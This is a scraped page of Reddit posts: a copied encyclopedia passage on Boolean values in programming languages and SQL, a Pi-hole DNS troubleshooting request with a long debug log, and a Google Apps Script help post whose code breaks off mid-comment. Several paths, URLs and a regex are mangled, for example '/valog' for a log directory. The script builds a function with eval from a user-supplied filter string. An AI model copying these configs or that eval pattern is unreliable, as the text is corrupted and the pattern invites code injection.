In Ruby), in contrast, only nil (Ruby's null value) and a special false object are false, all else (including the integer 0 and empty arrays) is true.
In JavaScript, the empty string ("" ), null , undefined , NaN , +0, −0 and false [10] are sometimes called falsy (of which the complement) is truthy) to distinguish between strictly type-checked and coerced Booleans.[11] As opposed to Python, empty containers (arrays , Maps, Sets) are considered truthy. Languages such as PHP also use this approach.

Next Generation Shell

Next Generation Shell, has Bool type. It has two possible values: true and false . Bool is not interchangeable with Int and have to be converted explicitly if needed. When a Boolean value of an expression is needed (for example in if statement), Bool method is called. Bool method for built-in types is defined such that it returns false for a numeric value of zero, the null value, the empty string), empty containers (i.e. lists), sets), etc.), external processes that exited with non-zero exit code; for other values Bool returns true. Types for which Bool method is defined can be used in Boolean context. When evaluating an expression in Boolean context, If no appropriate Bool method is defined, an exception is thrown.

SQL

Main article: Null (SQL) § Comparisons with NULL and the three-valued logic (3VL)#Comparisonswith_NULL_and_the_three-valued_logic(3VL))
Booleans appear in SQL when a condition is needed, such as WHERE clause, in form of predicate which is produced by using operators such as comparison operators, IN operator, IS (NOT) NULL etc. However, apart from TRUE and FALSE, these operators can also yield a third state, called UNKNOWN, when comparison with NULL is made.
The treatment of boolean values differs between SQL systems.
For example, in Microsoft SQL Server, boolean value is not supported at all, neither as a standalone data type nor representable as an integer. It shows an error message "An expression of non-boolean type specified in a context where a condition is expected" if a column is directly used in the WHERE clause, e.g. SELECT a FROM t WHERE a , while statement such as SELECT column IS NOT NULL FROM t yields a syntax error. The BIT data type, which can only store integers 0 and 1 apart from NULL, is commonly used as a workaround to store Boolean values, but workarounds need to be used such as UPDATE t SET flag = IIF(col IS NOT NULL, 1, 0) WHERE flag = 0 to convert between the integer and boolean expression.
In PostgreSQL, there is a distinct BOOLEAN type as in the standard[12] which allows predicates to be stored directly into a BOOLEAN column, and allows using a BOOLEAN column directly as a predicate in WHERE clause.
In MySQL, BOOLEAN is treated as an alias as TINYINT(1)[13], TRUE is the same as integer 1 and FALSE is the same is integer 0.[14], and treats any non-zero integer as true when evaluating conditions.
The SQL92 standard introduced IS (NOT) TRUE, IS (NOT) FALSE, IS (NOT) UNKNOWN operators which evaluate a predicate, which predated the introduction of boolean type in SQL:1999
The SQL:1999 standard introduced a BOOLEAN data type as an optional feature (T031). When restricted by a NOT NULL constraint, a SQL BOOLEAN behaves like Booleans in other languages, which can store only TRUE and FALSE values. However, if it is nullable, which is the default like all other SQL data types, it can have the special null) value also. Although the SQL standard defines three literals) for the BOOLEAN type – TRUE, FALSE, and UNKNOWN – it also says that the NULL BOOLEAN and UNKNOWN "may be used interchangeably to mean exactly the same thing".[15][16] This has caused some controversy because the identification subjects UNKNOWN to the equality comparison rules for NULL. More precisely UNKNOWN = UNKNOWN is not TRUE but UNKNOWN/NULL.[17] As of 2012 few major SQL systems implement the T031 feature.[18] Firebird and PostgreSQL are notable exceptions, although PostgreSQL implements no UNKNOWN literal; NULL can be used instead.[19]

See also

Data typesUninterpreted
Numeric
Pointer)
Text
Composite
Other
Related topics

References


  1. "PostgreSQL: Documentation: 10: 8.6. Boolean Type". www.postgresql.org. Archived from the original on 9 March 2018. Retrieved 1 May 2018.
Categories:

Navigation menu


Search


Interaction



Tools



Print/export


Languages


Edit links


  • 📷
  • 📷
submitted by finnarfish to copypasta [link] [comments]


2020.04.11 11:00 91Enexius DNS Functioning for hosts on the network, until the router is pointed the Pi-Hole

Hi All
Any help would be really appreciated
Problem: When Router (Huawei VodafoneUK provided) is switched to point to the Pi-Hole (static IP) forwarding out to the internet fails. However when hosts are pointed directly to pi-Hole manually everything is fine and working.
Setup: Pi-Hole on static IP, connected to router on ethernet, running the DCHP server for the home network (now). 2 WiFi Access points (also with static IP). numerous devices access via wifi and ethernet.
Bit of a N00b here! and I have had a little search on google and in reddit, and I'm sure this is not the first time this issue has been seen but I can't seem to debug this particular issue. Any help would be really appreciated. Debug log below (could not put it on tricorder as the connection failed)

This process collects information from your Pi-hole, and optionally uploads it to a unique and random directory on tricorder.pi-hole.net. The intent of this script is to allow users to self-diagnose their installations. This is accomplished by running tests against our software and providing the user with links to FAQ articles when a problem is detected. Since we are a small team and Pi-hole has been growing steadily, it is our hope that this will help us spend more time on development. NOTE: All log files auto-delete after 48 hours and ONLY the Pi-hole developers can access your data via the given token. We have taken these extra steps to secure your data and will work to further reduce any personal information gathered. *** [ INITIALIZING ] [i] 2020-04-11:01:02:04 debug log has been initialized. *** [ INITIALIZING ] Sourcing setup variables [i] Sourcing /etc/pihole/setupVars.conf... *** [ DIAGNOSING ]: Core version [i] Core: v4.4 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Branch: master [i] Commit: v4.4-0-g9e49077 *** [ DIAGNOSING ]: Web version [i] Web: v4.3.3 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Branch: master [i] Commit: v4.3.3-0-g62f2ffc *** [ DIAGNOSING ]: FTL version [✓] FTL: v4.3.1 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) *** [ DIAGNOSING ]: lighttpd version [i] 1.4.53 *** [ DIAGNOSING ]: php version [i] 7.3.14 *** [ DIAGNOSING ]: Operating system [✓] Raspbian GNU/Linux 10 (buster) *** [ DIAGNOSING ]: SELinux [i] SELinux not detected *** [ DIAGNOSING ]: Processor [✓] armv7l *** [ DIAGNOSING ]: Networking [✓] IPv4 address(es) bound to the eth0 interface: 192.168.1.2/24 matches the IP found in /etc/pihole/setupVars.conf [✓] IPv6 address(es) bound to the eth0 interface: fd52:a81c:df85:1:f0f2:c4c4:b0cc:b282 matches the IP found in /etc/pihole/setupVars.conf fe80::585b:cafd:c576:2377 does not match the IP found in /etc/pihole/setupVars.conf (https://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127) ^ Please note that you may have more than one IP address listed. As long as one of them is green, and it matches what is in /etc/pihole/setupVars.conf, there is no need for concern. The link to the FAQ is for an issue that sometimes occurs when the IPv6 address changes, which is why we check for it. [i] Default IPv4 gateway: 192.168.1.1 * Pinging 192.168.1.1... [✓] Gateway responded. *** [ DIAGNOSING ]: Ports in use *:8443 java (IPv6) *:8080 java (IPv6) *:5007 java (IPv6) 127.0.0.1:33151 java (IPv6) 127.0.0.1:8101 java (IPv6) *:9001 node (IPv4) *:22 sshd (IPv4) *:22 sshd (IPv6) *:445 smbd (IPv6) *:139 smbd (IPv6) *:445 smbd (IPv4) *:139 smbd (IPv4) [80] is in use by lighttpd [80] is in use by lighttpd [53] is in use by pihole-FTL [53] is in use by pihole-FTL [4711] is in use by pihole-FTL [4711] is in use by pihole-FTL *** [ DIAGNOSING ]: Name resolution (IPv4) using a random blocked domain and a known ad-serving domain [✓] app-sj16.marketo.com is 0.0.0.0 via localhost (127.0.0.1) [✓] app-sj16.marketo.com is 0.0.0.0 via Pi-hole (192.168.1.2) [✗] Failed to resolve doubleclick.com via a remote, public DNS server (8.8.8.8) *** [ DIAGNOSING ]: Name resolution (IPv6) using a random blocked domain and a known ad-serving domain [✓] content.ad-flow.com is :: via localhost (::1) [✓] content.ad-flow.com is :: via Pi-hole (fd52:a81c:df85:1:f0f2:c4c4:b0cc:b282) [✗] Failed to resolve doubleclick.com via a remote, public DNS server (2001:4860:4860::8888) *** [ DIAGNOSING ]: Pi-hole processes [✓] lighttpd daemon is active [✓] pihole-FTL daemon is active *** [ DIAGNOSING ]: Setup variables BLOCKING_ENABLED=true DHCP_ACTIVE=true DHCP_START=192.168.1.20 DHCP_END=192.168.1.251 DHCP_ROUTER=192.168.1.1 DHCP_LEASETIME=24 PIHOLE_DOMAIN=lan DHCP_IPv6=true DHCP_rapid_commit=true PIHOLE_INTERFACE=eth0 IPV4_ADDRESS=192.168.1.2/24 IPV6_ADDRESS=fd52:a81c:df85:1:f0f2:c4c4:b0cc:b282 QUERY_LOGGING=true INSTALL_WEB_SERVER=true INSTALL_WEB_INTERFACE=true LIGHTTPD_ENABLED=true DNSMASQ_LISTENING=single PIHOLE_DNS_1=1.1.1.1 PIHOLE_DNS_2=1.0.0.1 PIHOLE_DNS_3=2606:4700:4700::1111 PIHOLE_DNS_4=2606:4700:4700::1001 DNS_FQDN_REQUIRED=true DNS_BOGUS_PRIV=true DNSSEC=false CONDITIONAL_FORWARDING=false *** [ DIAGNOSING ]: Dashboard and block page [✓] Block page X-Header: X-Pi-hole: A black hole for Internet advertisements. [✓] Web interface X-Header: X-Pi-hole: The Pi-hole Web interface is working! *** [ DIAGNOSING ]: Gravity list -rw-r--r-- 1 root root 5612847 Apr 11 00:47 /etc/pihole/gravity.list -----head of gravity.list------ 0-hjsochvj-ios-1-2-3.mobile-sdk-api.intercom.io 0-jovd32f9-ios-7-0-1.mobile-sdk-api.intercom.io 0.0.0.0 0.accountkit.com -----tail of gravity.list------ zzzzz.rivalbrand.hop.clickbank.net zzzzz.survivcord.hop.clickbank.net zzzzz.vertigodiz.hop.clickbank.net zzzzz.writing777.hop.clickbank.net *** [ DIAGNOSING ]: contents of /etc/pihole -rw-r--r-- 1 root root 438 Apr 9 15:42 /etc/pihole/adlists.list https://raw.githubusercontent.com/StevenBlack/hosts/mastehosts https://mirror1.malwaredomains.com/files/justdomains http://sysctl.org/cameleon/hosts https://s3.amazonaws.com/lists.disconnect.me/simple_tracking.txt https://s3.amazonaws.com/lists.disconnect.me/simple_ad.txt https://raw.githubusercontent.com/evankrob/hosts-filenetrehost/mastead_servers.txt https://www.github.developerdan.com/hosts/lists/ads-and-tracking-extended.txt -rw-r--r-- 1 root root 144 Apr 11 00:47 /etc/pihole/local.list 192.168.1.2 HoweHomeServer fd52:a81c:df85:1:f0f2:c4c4:b0cc:b282 HoweHomeServer 192.168.1.2 pi.hole fd52:a81c:df85:1:f0f2:c4c4:b0cc:b282 pi.hole -rw-r--r-- 1 root root 234 Apr 11 00:47 /etc/pihole/logrotate /valog/pihole.log { su root root daily copytruncate rotate 5 compress delaycompress notifempty nomail } /valog/pihole-FTL.log { su root root weekly copytruncate rotate 3 compress delaycompress notifempty nomail } *** [ DIAGNOSING ]: contents of /etc/dnsmasq.d -rw-r--r-- 1 root root 1501 Apr 11 00:53 /etc/dnsmasq.d/01-pihole.conf addn-hosts=/etc/pihole/gravity.list addn-hosts=/etc/pihole/black.list addn-hosts=/etc/pihole/local.list localise-queries no-resolv cache-size=10000 log-queries log-facility=/valog/pihole.log local-ttl=2 log-async server=1.1.1.1 server=1.0.0.1 server=2606:4700:4700::1111 server=2606:4700:4700::1001 domain-needed bogus-priv interface=eth0 server=/use-application-dns.net/ -rw-r--r-- 1 root root 635 Apr 11 00:47 /etc/dnsmasq.d/02-pihole-dhcp.conf dhcp-authoritative dhcp-range=192.168.1.20,192.168.1.251,24h dhcp-option=option:router,192.168.1.1 dhcp-leasefile=/etc/pihole/dhcp.leases domain=lan dhcp-rapid-commit dhcp-option=option6:dns-server,[::] dhcp-range=::100,::1ff,constructor:eth0,ra-names,slaac,24h ra-param=*,0,0 *** [ DIAGNOSING ]: contents of /etc/lighttpd -rw-r--r-- 1 root root 3499 Apr 11 00:47 /etc/lighttpd/lighttpd.conf server.modules = ( "mod_access", "mod_accesslog", "mod_auth", "mod_expire", "mod_compress", "mod_redirect", "mod_setenv", "mod_rewrite" ) server.document-root = "/vawww/html" server.error-handler-404 = "/pihole/index.php" server.upload-dirs = ( "/vacache/lighttpd/uploads" ) server.errorlog = "/valog/lighttpd/error.log" server.pid-file = "/varun/lighttpd.pid" server.username = "www-data" server.groupname = "www-data" server.port = 80 accesslog.filename = "/valog/lighttpd/access.log" accesslog.format = "%{%s}t%V%r%s%b" index-file.names = ( "index.php", "index.html", "index.lighttpd.html" ) url.access-deny = ( "~", ".inc", ".md", ".yml", ".ini" ) static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) compress.cache-dir = "/vacache/lighttpd/compress/" compress.filetype = ( "application/javascript", "text/css", "text/html", "text/plain" ) mimetype.assign = ( ".png" => "image/png", ".jpg" => "image/jpeg", ".jpeg" => "image/jpeg", ".html" => "text/html", ".css" => "text/css; charset=utf-8", ".js" => "application/javascript", ".json" => "application/json", ".txt" => "text/plain", ".svg" => "image/svg+xml" ) include_shell "/usshare/lighttpd/use-ipv6.pl " + server.port include_shell "find /etc/lighttpd/conf-enabled -name '*.conf' -a ! -name 'letsencrypt.conf' -printf 'include \"%p\" ' 2>/dev/null" $HTTP["url"] =~ "^/admin/" { setenv.add-response-header = ( "X-Pi-hole" => "The Pi-hole Web interface is working!", "X-Frame-Options" => "DENY" ) $HTTP["url"] =~ ".ttf$" { setenv.add-response-header = ( "Access-Control-Allow-Origin" => "*" ) } } $HTTP["url"] =~ "^/admin/\.(.*)" { url.access-deny = ("") } include_shell "cat external.conf 2>/dev/null" *** [ DIAGNOSING ]: contents of /etc/cron.d -rw-r--r-- 1 root root 1704 Apr 11 00:47 /etc/cron.d/pihole 26 3 * * 7 root PATH="$PATH:/uslocal/bin/" pihole updateGravity >/valog/pihole_updateGravity.log cat /valog/pihole_updateGravity.log 00 00 * * * root PATH="$PATH:/uslocal/bin/" pihole flush once quiet u/reboot root /ussbin/logrotate /etc/pihole/logrotate */10 * * * * root PATH="$PATH:/uslocal/bin/" pihole updatechecker local 51 14 * * * root PATH="$PATH:/uslocal/bin/" pihole updatechecker remote u/reboot root PATH="$PATH:/uslocal/bin/" pihole updatechecker remote reboot *** [ DIAGNOSING ]: contents of /valog/lighttpd -rw-r--r-- 1 www-data www-data 1968 Apr 11 00:47 /valog/lighttpd/error.log 2020-04-05 00:00:04: (server.c.1759) logfiles cycled UID = 0 PID = 22209 2020-04-09 08:04:46: (server.c.2059) server stopped by UID = 0 PID = 1 2020-04-09 08:04:47: (server.c.1464) server started (lighttpd/1.4.53) 2020-04-09 08:04:47: (server.c.1493) WARNING: unknown config-key: alias.url (ignored) 2020-04-11 00:30:10: (server.c.2059) server stopped by UID = 0 PID = 1 2020-04-11 00:30:36: (server.c.1464) server started (lighttpd/1.4.53) 2020-04-11 00:30:36: (server.c.1493) WARNING: unknown config-key: alias.url (ignored) 2020-04-11 00:35:47: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: file(http://127.0.0.1/admin/scripts/pi-hole/php/queryads.php?domain=localhost&bp): failed to open stream: HTTP request failed! in /vawww/html/pihole/index.php on line 130 2020-04-11 00:35:47: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_filter() expects parameter 1 to be array, string given in /vawww/html/pihole/index.php on line 131 2020-04-11 00:35:47: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_values() expects parameter 1 to be array, null given in /vawww/html/pihole/index.php on line 131 2020-04-11 00:35:51: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: file(http://127.0.0.1/admin/scripts/pi-hole/php/queryads.php?domain=localhost&bp): failed to open stream: HTTP request failed! in /vawww/html/pihole/index.php on line 130 2020-04-11 00:35:51: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_filter() expects parameter 1 to be array, string given in /vawww/html/pihole/index.php on line 131 2020-04-11 00:35:51: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_values() expects parameter 1 to be array, null given in /vawww/html/pihole/index.php on line 131 2020-04-11 00:47:15: (server.c.2059) server stopped by UID = 0 PID = 1 2020-04-11 00:47:17: (server.c.1464) server started (lighttpd/1.4.53) 2020-04-11 00:47:17: (server.c.1493) WARNING: unknown config-key: alias.url (ignored) *** [ DIAGNOSING ]: contents of /valog -rw-r--r-- 1 pihole pihole 26691 Apr 11 00:53 /valog/pihole-FTL.log -----head of pihole-FTL.log------ [2020-04-11 00:19:14.747 17313] Resizing "/FTL-strings" from 28672 to 32768 [2020-04-11 00:21:14.620 17313] Shutting down... [2020-04-11 00:21:14.686 17313] Finished final database update [2020-04-11 00:21:14.687 17313] ########## FTL terminated after 144980944.0 ms! ########## [2020-04-11 00:21:16.009 12521] Using log file /valog/pihole-FTL.log [2020-04-11 00:21:16.009 12521] ########## FTL started! ########## [2020-04-11 00:21:16.009 12521] FTL branch: master [2020-04-11 00:21:16.009 12521] FTL version: v4.3.1 [2020-04-11 00:21:16.009 12521] FTL commit: b60d63f [2020-04-11 00:21:16.009 12521] FTL date: 2019-05-25 21:37:26 +0200 [2020-04-11 00:21:16.009 12521] FTL user: pihole [2020-04-11 00:21:16.009 12521] Starting config file parsing (/etc/pihole/pihole-FTL.conf) [2020-04-11 00:21:16.010 12521] SOCKET_LISTENING: only local [2020-04-11 00:21:16.010 12521] AAAA_QUERY_ANALYSIS: Show AAAA queries [2020-04-11 00:21:16.010 12521] MAXDBDAYS: max age for stored queries is 365 days [2020-04-11 00:21:16.010 12521] RESOLVE_IPV6: Resolve IPv6 addresses [2020-04-11 00:21:16.010 12521] RESOLVE_IPV4: Resolve IPv4 addresses [2020-04-11 00:21:16.010 12521] DBINTERVAL: saving to DB file every minute [2020-04-11 00:21:16.010 12521] DBFILE: Using /etc/pihole/pihole-FTL.db [2020-04-11 00:21:16.010 12521] MAXLOGAGE: Importing up to 24.0 hours of log data [2020-04-11 00:21:16.010 12521] PRIVACYLEVEL: Set to 0 [2020-04-11 00:21:16.010 12521] IGNORE_LOCALHOST: Show queries from localhost [2020-04-11 00:21:16.010 12521] BLOCKINGMODE: Null IPs for blocked domains [2020-04-11 00:21:16.010 12521] ANALYZE_ONLY_A_AND_AAAA: Disabled. Analyzing all queries [2020-04-11 00:21:16.010 12521] DBIMPORT: Importing history from database [2020-04-11 00:21:16.010 12521] PIDFILE: Using /varun/pihole-FTL.pid [2020-04-11 00:21:16.010 12521] PORTFILE: Using /varun/pihole-FTL.port [2020-04-11 00:21:16.010 12521] SOCKETFILE: Using /varun/pihole/FTL.sock [2020-04-11 00:21:16.010 12521] WHITELISTFILE: Using /etc/pihole/whitelist.txt [2020-04-11 00:21:16.010 12521] BLACKLISTFILE: Using /etc/pihole/black.list [2020-04-11 00:21:16.010 12521] GRAVITYFILE: Using /etc/pihole/gravity.list [2020-04-11 00:21:16.010 12521] REGEXLISTFILE: Using /etc/pihole/regex.list [2020-04-11 00:21:16.011 12521] SETUPVARSFILE: Using /etc/pihole/setupVars.conf [2020-04-11 00:21:16.011 12521] AUDITLISTFILE: Using /etc/pihole/auditlog.list [2020-04-11 00:21:16.011 12521] MACVENDORDB: Using /etc/pihole/macvendor.db -----tail of pihole-FTL.log------ [2020-04-11 00:53:53.619 6810] AUDITLISTFILE: Using /etc/pihole/auditlog.list [2020-04-11 00:53:53.619 6810] MACVENDORDB: Using /etc/pihole/macvendor.db [2020-04-11 00:53:53.619 6810] PARSE_ARP_CACHE: Active [2020-04-11 00:53:53.619 6810] Finished config file parsing [2020-04-11 00:53:53.620 6810] Database version is 3 [2020-04-11 00:53:53.621 6810] Database successfully initialized [2020-04-11 00:53:53.621 6810] New forward server: 1.1.1.1 (0/512) [2020-04-11 00:53:53.622 6810] New forward server: 1.0.0.1 (1/512) [2020-04-11 00:53:53.622 6810] New forward server: 192.168.1.1 (2/512) [2020-04-11 00:53:53.635 6810] Resizing "/FTL-strings" from 4096 to 8192 [2020-04-11 00:53:53.650 6810] Resizing "/FTL-queries" from 196608 to 393216 [2020-04-11 00:53:53.658 6810] Resizing "/FTL-strings" from 8192 to 12288 [2020-04-11 00:53:53.673 6810] Resizing "/FTL-strings" from 12288 to 16384 [2020-04-11 00:53:53.689 6810] Resizing "/FTL-queries" from 393216 to 589824 [2020-04-11 00:53:53.707 6810] Resizing "/FTL-strings" from 16384 to 20480 [2020-04-11 00:53:53.709 6810] Imported 9640 queries from the long-term database [2020-04-11 00:53:53.709 6810] -> Total DNS queries: 9640 [2020-04-11 00:53:53.709 6810] -> Cached DNS queries: 1214 [2020-04-11 00:53:53.709 6810] -> Forwarded DNS queries: 7734 [2020-04-11 00:53:53.709 6810] -> Exactly blocked DNS queries: 692 [2020-04-11 00:53:53.709 6810] -> Unknown DNS queries: 0 [2020-04-11 00:53:53.709 6810] -> Unique domains: 621 [2020-04-11 00:53:53.709 6810] -> Unique clients: 12 [2020-04-11 00:53:53.709 6810] -> Known forward destinations: 3 [2020-04-11 00:53:53.709 6810] Successfully accessed setupVars.conf [2020-04-11 00:53:53.716 6812] PID of FTL process: 6812 [2020-04-11 00:53:53.716 6812] Listening on port 4711 for incoming IPv4 telnet connections [2020-04-11 00:53:53.717 6812] Listening on port 4711 for incoming IPv6 telnet connections [2020-04-11 00:53:53.717 6812] Listening on Unix socket [2020-04-11 00:53:53.719 6812] Received SIGHUP, reloading cache [2020-04-11 00:53:53.719 6812] Blocking status is enabled [2020-04-11 00:53:53.719 6812] Skipping empty regex filter on line 1 [2020-04-11 00:53:53.720 6812] INFO: No whitelist file found [2020-04-11 00:53:53.720 6812] Compiled 0 Regex filters and 0 whitelisted domains in 0.9 msec (0 errors) [2020-04-11 00:53:55.756 6812] /etc/pihole/gravity.list: parsed 234438 domains (took 2035.3 ms) *** [ DIAGNOSING ]: contents of /dev/shm -rw------- 1 pihole pihole 323584 Apr 11 00:53 /dev/shm/FTL-clients -rw------- 1 pihole pihole 108 Apr 11 00:53 /dev/shm/FTL-counters -rw------- 1 pihole pihole 65536 Apr 11 00:53 /dev/shm/FTL-domains -rw------- 1 pihole pihole 12288 Apr 11 00:53 /dev/shm/FTL-forwarded -rw------- 1 pihole pihole 28 Apr 11 00:53 /dev/shm/FTL-lock -rw------- 1 pihole pihole 53248 Apr 11 00:53 /dev/shm/FTL-overTime -rw------- 1 pihole pihole 589824 Apr 11 00:59 /dev/shm/FTL-queries -rw------- 1 pihole pihole 12 Apr 11 00:53 /dev/shm/FTL-settings -rw------- 1 pihole pihole 20480 Apr 11 00:53 /dev/shm/FTL-strings *** [ DIAGNOSING ]: Locale LANG= *** [ DIAGNOSING ]: Pi-hole log -rw-r--r-- 1 pihole pihole 663397 Apr 11 01:03 /valog/pihole.log -----head of pihole.log------ Apr 11 00:08:34 dnsmasq[17313]: query[SRV] _https._tcp.dl.bintray.com from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded _https._tcp.dl.bintray.com to 1.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded _https._tcp.dl.bintray.com to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[SRV] _http._tcp.archive.raspberrypi.org from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded _http._tcp.archive.raspberrypi.org to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[SRV] _http._tcp.raspbian.raspberrypi.org from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded _http._tcp.raspbian.raspberrypi.org to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[A] archive.raspberrypi.org from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded archive.raspberrypi.org to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[AAAA] archive.raspberrypi.org from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded archive.raspberrypi.org to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[A] raspbian.raspberrypi.org from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded raspbian.raspberrypi.org to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[AAAA] raspbian.raspberrypi.org from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded raspbian.raspberrypi.org to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[A] dl.bintray.com from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded dl.bintray.com to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: query[AAAA] dl.bintray.com from 127.0.0.1 Apr 11 00:08:34 dnsmasq[17313]: forwarded dl.bintray.com to 1.1.1.1 Apr 11 00:08:34 dnsmasq[17313]: reply archive.raspberrypi.org is  
submitted by 91Enexius to pihole [link] [comments]


2020.04.02 01:29 michaelbierman Google App Script problem

I have a function Copy that is set to run nightly that copies data from one sheet to another. It works flawlessly when I run it by a custom menu item but fails ~25% of the time when it runs automatically. I have no idea how to debug the problem much less fix it.
Can any one suggest either how I can figure out the problem myself or see what the problem is?
Link to the sheet.
GAS:
function onOpen(e) { var menu = SpreadsheetApp.getUi().createMenu('RoutineHub') menu.addItem('Refresh Data', 'RefreshImports') menu.addItem('Change RoutineHub User', 'updateUser') menu.addItem('Copy Data', 'Copy') .addToUi(); // do not set a variable to any chain of methods ending in .addToUi() // after the Menu is created, the value of menu will be undefined // the .addToUi() method does not return anything. RefreshImports(); } function RefreshImports() { /** * From: http://stackoverflow.com/a/33875957/1677912 * Adapted by Davis E. Ford, May 5, 2017 **/ var lock = LockService.getScriptLock(); if (!lock.tryLock(1000)) return; // Wait up to 5s for previous refresh to end. // At this point, we are holding the lock. var id = "1LUwfRgzcpmS1TGzv-yyAC2T7-5yBsgCkiK91qY-8YcA"; var ss = SpreadsheetApp.openById(id); var sheets = ss.getSheets(); for (var sheetNum = 0; sheetNum < sheets.length; sheetNum++) { // var sheet = sheets[sheetNum]; // This seems to cause a problem. Possibly because of the Bar Chart Tab? var sheet = ss.getSheetByName('Live'); var dataRange = sheet.getDataRange(); var formulas = dataRange.getFormulas(); var tempFormulas = []; for (var row = 0; row < formulas.length; row++) { for (col = 0; col < formulas[0].length; col++) { // See https://regex101.com/bE7fJ6/2 var re = /.*[^a-z0-9]import(?:xmldatafeedhtmlrange)\(.*/gi; if (formulas[row][col].search(re) !== -1) { // Use a blank cell here, set it to whatever you want SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Live").getRange("B2").setValue(Math.round(Math.random() * 100000)); } } } // After a pause, replace the import functions for (var i = 0; i < tempFormulas.length; i++) { var cell = tempFormulas[i]; sheet.getRange(cell.row, cell.col).setFormula(cell.formula) } // Done refresh; release the lock. lock.releaseLock(); } var timestamp = new Date(); // Get the current time Logger.log("Favorites was updated: " & timestamp); } function Copy() { Utilities.sleep(6500); RefreshImports(); Utilities.sleep(6500); var timestamp = new Date(); // Get the current time var sss = SpreadsheetApp.openById('1LUwfRgzcpmS1TGzv-yyAC2T7-5yBsgCkiK91qY-8YcA'); //replace with source ID var ss = sss.getSheetByName('Live'); //replace with source Sheet tab name var range = ss.getRange(4, 1, ss.getMaxRows(), 6); //assign the range you want to copy (old: var range = ss.getDataRange('$A9:9'); var data = range.getValues(); var tss = SpreadsheetApp.openById('1LUwfRgzcpmS1TGzv-yyAC2T7-5yBsgCkiK91qY-8YcA'); //replace with destination ID var ts = tss.getSheetByName('Raw'); //replace with destination Sheet tab name Logger.log(ss.getMaxRows()); ts.getRange(ts.getLastRow() + 1, 1, ss.getMaxRows(), 6).setValues(data); //you will need to define the size of the copied data see getRange() Logger.log("Downloads was updated: " & timestamp); } function updateUser() { var ui = SpreadsheetApp.getUi(); var response = ui.prompt('Update RoutineHub user', 'Enter the username here', ui.ButtonSet.YES_NO); if (response.getSelectedButton() == ui.Button.YES) { Logger.log('The user\'s name is %s.', response.getResponseText()); SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Live").getRange("B1").setValue(response.getResponseText()); } else if (response.getSelectedButton() == ui.Button.NO) { Logger.log('The user didn\'t want to provide a name.'); } else { Logger.log('The user clicked the close button in the dialog\'s title bar.'); } } /********* NEW STUFF **********/ /** * @file Google Sheets functions to fetch, filter, and sort JSON data from Web APIs. * GitHub URL: https://github.com/thisdavej/getJSON-google-sheets * @author Dave Johnson (https://thisdavej.com/) */ function JSONtoObject(url) { var url = encodeURI(url); var response = UrlFetchApp.fetch(url); var json = response.getContentText(); // convert keys to lower case so case insensitive json = json.replace(/"([^"]+)":/g, function($0, $1) { return '"' + $1.toLowerCase() + '":'; }); var obj = JSON.parse(json); if (!Array.isArray(obj)) { obj = [obj]; } return obj; } function filterObject(obj, filterExpression) { var obj = obj; if (filterExpression != undefined) { // make x.Tank lower case to x.tank (or other keys) filterExpression = filterExpression.replace(/(x.[\w.]+)/g, function( $0, $1 ) { return $1.toLowerCase(); }); eval("var dynamicFilter = function(x) { return " + filterExpression + " }"); obj = obj.filter(dynamicFilter); } return obj; } function removeDoubleQuotes(s) { return s.replace(/(^""$)/g, '') } // Allows us to get values associated with JSON attributes such as "Field1" and nested attributes // such as "watertemp.time" function getJsonValue(path, obj) { function cleanObjPart(s) { // Handle the case when processing an array element (e.g. "jobs[0]") var re = /(\w+)\s*\[\s*(\d+)\s*\]\s*/; var match = re.exec(s); var objPart; if (match != null) { var elem1 = match[1]; var index = parseInt(match[2], 10); objPart = obj[elem1][index]; } else { objPart = obj[s]; } return objPart; } var NOT_FOUND = "notFound"; var parts = path.split(/(?!\B"[^"]*)\.(?![^"]*"\B)/); var part; var last = removeDoubleQuotes(parts.pop()); while ((part = parts.shift())) { part = removeDoubleQuotes(part); var objPart = cleanObjPart(part); if (typeof objPart != "object") return NOT_FOUND; obj = objPart; } var r = cleanObjPart(last); return r === undefined ? NOT_FOUND : r; } // Substitute {{Field1}}, for example, with the value associated with "Field1" // in the JSON object. var mapRows = function(template) { return function(row) { var result = template.replace(/\{\{\s*(.*?)\s*\}\}/g, function( match, varName ) { // make varName lower case so keys are case insensitive varName = varName.toLowerCase(); return getJsonValue(varName, row); }); var items = result.split(/\s*\\\s*/); return items.length == 1 ? items[0] : items; }; }; /** * Retrieve JSON from a Web API and render the results using a string template. * * @param {"https://thisdavej.com/api/tanks.php"} url * The Web API URL containing the JSON object or array of objects to process * @param {"{{Tank}} {{watertemp.time}} {{watertemp.value}}"} template * The string template for rendering results. Use {{Field1}} to retrieve the value associated * with a JSON attribute called "Field1". Use to split the result into multiple spreadsheet * columns. * @param {"-1"} takeNum * The number of sorted results to return. Use -1 to return all rows. * @param {"x.Tank === 'Tank1'"} filterExpression * The 